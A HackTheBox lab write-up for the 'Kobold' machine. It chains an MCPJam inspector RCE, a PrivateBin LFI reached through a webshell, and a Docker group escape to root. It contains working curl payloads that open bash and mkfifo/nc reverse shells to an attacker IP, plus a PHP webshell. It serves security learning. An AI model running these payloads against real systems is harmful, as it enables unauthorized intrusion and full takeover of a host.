In Kobold, we exploited an MCP inspector RCE to gain initial access, abused a PrivateBin LFI to execute commands, and leveraged Docker group privileges to escape the container and gain root.

Introduction

In this post, I will demonstrate the exploitation of an easy difficulty machine called "Kobold" on HackTheBox. Overall, it was an enjoyable box offering a nice learning experience.

This machine was pwned on March 29, 2026. The write-up was released on August 7, 2026 when the machine retired form the platform.

Step 1: running an Nmap scan on the target

After adding the IP to our hostfile (sudo vim /etc/hosts), I ran an nmap scan of the 1000 most common ports.

┌──(kali㉿kali)-[~/CVE-2025-64714-privatebin-2.0.2-PoC]
└─$ nmap -sV -sC -p- kobold.htb
Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-15 11:29 -0400
Nmap scan report for kobold.htb (10.129.245.50)
Host is up (0.020s latency).
Not shown: 65531 closed tcp ports (reset)
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 8c:45:12:36:03:61:de:0f:0b:2b:c3:9b:2a:92:59:a1 (ECDSA)
|_  256 d2:3c:bf:ed:55:4a:52:13:b5:34:d2:fb:8f:e4:93:bd (ED25519)
80/tcp   open  http     nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to https://kobold.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
443/tcp  open  ssl/http nginx 1.24.0 (Ubuntu)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=kobold.htb
| Subject Alternative Name: DNS:kobold.htb, DNS:*.kobold.htb
| Not valid before: 2026-03-15T15:08:55
|_Not valid after:  2125-02-19T15:08:55
| tls-alpn:
|   http/1.1
|   http/1.0
|_  http/0.9
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Kobold Operations Suite
3552/tcp open  http     Golang net/http server
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
| fingerprint-strings:
|   GenericLines:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest, HTTPOptions:
|     HTTP/1.0 200 OK
|     Accept-Ranges: bytes
|     Cache-Control: no-cache, no-store, must-revalidate
|     Content-Length: 2081
|     Content-Type: text/html; charset=utf-8
|     Expires: 0
|     Pragma: no-cache
|     Date: Wed, 15 Jul 2026 15:29:49 GMT
|

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.28 seconds

This scan revealed that a web server was listening on port 80, 443 and 3552.

Step 2: Enumerating the webserver

Upon visiting the web server on port 80 and 443, the following site appeared:

website port 80

The web server on port 3552 revealed a login page.

website port 80

The pages did not provide much information. Therefore, I decided to do some vhost enumeration using ffuf.

┌──(kali㉿kali)-[~]
└─$ ffuf -u https://kobold.htb/ -H "Host: FUZZ.kobold.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -fs 154

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : https://kobold.htb/
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt
 :: Header           : Host: FUZZ.kobold.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 154
________________________________________________

mcp                     [Status: 200, Size: 466, Words: 57, Lines: 15, Duration: 28ms]
bin                     [Status: 200, Size: 24402, Words: 1218, Lines: 386, Duration: 140ms]
:: Progress: [19966/19966] :: Job [1/1] :: 2150 req/sec :: Duration: [0:00:10] :: Errors: 0 ::

The scan revealed two subdomains: mcp and bin. After adding them to my /etc/hosts file, I was able to access their respective pages.

The mcp subdomain:

website port 80

The bin subdomain:

website port 80

The mcp subdomain appeared to be a MCPJam inspector page version 1.4.2.which is affected by an RCE vulnerability. CVE-2026-23744.

Step 3: Gaining access

The abovementioned vulnerability can be exploited to gain remote code execution on the server.This can be achieved by sending a malicious request to the MCP subdomain. Don't forget to set up a listener on your attacking machine.

curl https://mcp.kobold.htb/api/mcp/connect --header "Content-Type: application/json" --data "{\"serverConfig\":{\"command\":\"/bin/bash\",\"args\":[\"-c\", \"bash -i >& /dev/tcp/10.10.15.54/7777 0>&1\"],\"env\":{}},\"serverId\":\"mytest\"}" -k

This gives us a shell as the user ben where we can capture the user flag:

ben@kobold:~$ ls
ls
user.txt

Step 4: Privilege escalation to root

The abovementioned privatebin instance is running on version 2.0.2 which is vulnerable to an LFI vulnerability.CVE-2025-64714.

According to the vulnerability details, we need to be able to write a webshell in the data directory. Therefore, I ran this find command to find the the data directory associated with the privatebin instance.

find / -type d -iname "*privatebin*" 2> /dev/null
/privatebin-data

In this directory, there is indeed a data directory which is writable by ben as we are part of the operator group.

ben@kobold:/$ ls -la /privatebin-data/
total 20
drwxrwx---  5 root operator 4096 Mar 15 21:23 .
drwxr-xr-x 22 root root     4096 Mar 16 20:57 ..
drwxrwx---  2 root operator 4096 Mar 15 21:23 certs
drwxr-x---  2 root       82 4096 Mar 15 21:23 cfg
drwxrwxrwx  5 root operator 4096 Jul 15 15:55 data
ben@kobold:/$ id
uid=1001(ben) gid=1001(ben) groups=1001(ben),37(operator)

Therefore, I created a malicious PHP webshell and wrote it to the data directory.

cat > /privatebin-data/data/pwn.php << 'EOF'
<?php system($_GET['cmd']); ?>
EOF

Next, I tested the webshell by sending a curl request:

curl -s -k \
  --cookie 'template=../data/pwn' \
  -G --data-urlencode "cmd=id" \
  https://bin.kobold.htb
uid=65534(nobody) gid=82(www-data) groups=82(www-data)

My intuition told me that privatebin was running in a docker container because of the output of the id command. This was further confirmed by running 'cat /etc/group | grep docker'

ben@kobold:/$ cat /etc/group | grep docker
docker:x:111:alice

It seems that Alice is a member of the docker group. Therefore, I decided to get a shell in the docker container to see if it could be escaped in one way or another.

┌──(kali㉿kali)-[~/CVE-2025-64714-privatebin-2.0.2-PoC]
└─$ curl -s -k \
  --cookie 'template=../data/pwn' \
  -G --data-urlencode "cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.54 1234 >/tmp/f" \
  https://bin.kobold.htb

Note: Don't forget to set up a listener on your attacking machine before running the curl command.

Running the curl command gave us the following shell in the docker container:

┌──(kali㉿kali)-[~]
└─$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.15.54] from (UNKNOWN) [10.129.245.50] 35285
/bin/sh: can't access tty; job control turned off
/var/www $ ls
Procfile
browserconfig.xml
css
i18n
img
index.php
js
manifest.json
robots.txt

After running linpeas in the docker container, I did not find anything usefull that could be used to break out of the container. Therefore, I decided to look for other ways to escalate privileges.

At this point, I was somewhat stuck. As a result, I decided to run linpeas in my reverse shell as ben. Doing this, I found out we can just add ben to the docker group:

╔══════════╣ Actual Group Memberships via newgrp (T1069.001)
Accessible group not shown in id: docker (gid=111)

This can be done by running the following command:

ben@kobold:/tmp$ newgrp docker
ben@kobold:/tmp$ id
uid=1001(ben) gid=111(docker) groups=111(docker),37(operator),1001(ben)

As we can see, there is indeed a privatebin docker container running:

ben@kobold:/tmp$ docker ps
CONTAINER ID   IMAGE                               COMMAND                  CREATED        STATUS       PORTS                      NAMES
4c49dd7bb727   privatebin/nginx-fpm-alpine:2.0.2   "/etc/init.d/rc.local"   4 months ago   Up 2 hours   127.0.0.1:8080->8080/tcp   bin

To escalate privileges to root, we can spin up a new privatebin container where we mount the root filesystem:

ben@kobold:/tmp$ docker run --rm -it -u 0 --entrypoint sh -v /:/mnt privatebin/nginx-fpm-alpine:2.0.2
/var/www # chroot /mnt sh
# ls /root/
arcane_linux_amd64  data  root.txt

Congratulations, you have succesfully rooted this box!

Extra: Explanation of CVE-2026-23744

According to the CVE-2026-23744 advisory (CVE-2026-23744), the /api/mcp/connect API endpoint is publicly accessible. This endpoint extracts the command and args parameters from the JSON payload and executes them using the exec.Command function. However, the application does not properly validate or sanitize these parameters, allowing an attacker to inject arbitrary commands. By sending a specially crafted request to this endpoint, an attacker can execute arbitrary commands on the server, leading to remote code execution (RCE).

Extra: Explanation of CVE-2025-64714-privatebin-2.0.2-PoC

CVE-2025-64714 is a classic example of a Local File Inclusion (LFI) vulnerability. For it to work, the templateselection option must be enabled in the configuration file cfg/conf.php. When enabled, the application loads the specified template by reading the value of the template cookie, which points to a local PHP file (without the .php extension). The path is interpreted relative to the tpl directory, which is typically located at /srv/tpl/ in Docker installations.

The directory structure of the Docker container is as follows:

/srv/
├── bin/
├── cfg/
├── data/
├── lib/
├── tpl/
└── vendor/

By specifying a relative path within the template cookie, an attacker can read sensitive files from the server.

In this case the LFI vulnerability even allows for remote code execution as the /privatebin/data directory is writable by ben. Note that the /privatebin/data directory is a bind mount attached to the docker container:

 docker inspect --format='' 4c49dd7bb727 | jq
  {
    "Type": "bind",
    "Source": "/privatebin-data/cfg",
    "Destination": "/srv/cfg",
    "Mode": "ro",
    "RW": false,
    "Propagation": "rprivate"
  },
  {
    "Type": "bind",
    "Source": "/privatebin-data/data",
    "Destination": "/srv/data",
    "Mode": "",
    "RW": true,
    "Propagation": "rprivate"
  },
  {
    "Type": "bind",
    "Source": "/privatebin-data/certs",
    "Destination": "/etc/ssl/privatebin",
    "Mode": "ro",
    "RW": false,
    "Propagation": "rprivate"
  }
  

Therfore, an attacker can write a webshell to the /privatebin/data directory resulting in the file being present in the container which can then be executed by accessing it through the LFI vulnerability resulting in code execution inside the container:

cat > /privatebin-data/data/pwn.php << 'EOF'
<?php system($_GET['cmd']); ?>
EOF
curl -s -k \
  --cookie 'template=../data/pwn' \
  -G --data-urlencode "cmd=id" \
  https://bin.kobold.htb
uid=65534(nobody) gid=82(www-data) groups=82(www-data)

Final thoughts

Overall, This was a nice and easy box which I thoroughly enjoyed solving. The privilege escalation through Docker was a bit harder and took quite a bit of time. I feel like I have learned a lot about Docker security and how to exploit it by doing this box.

Go to the Home Page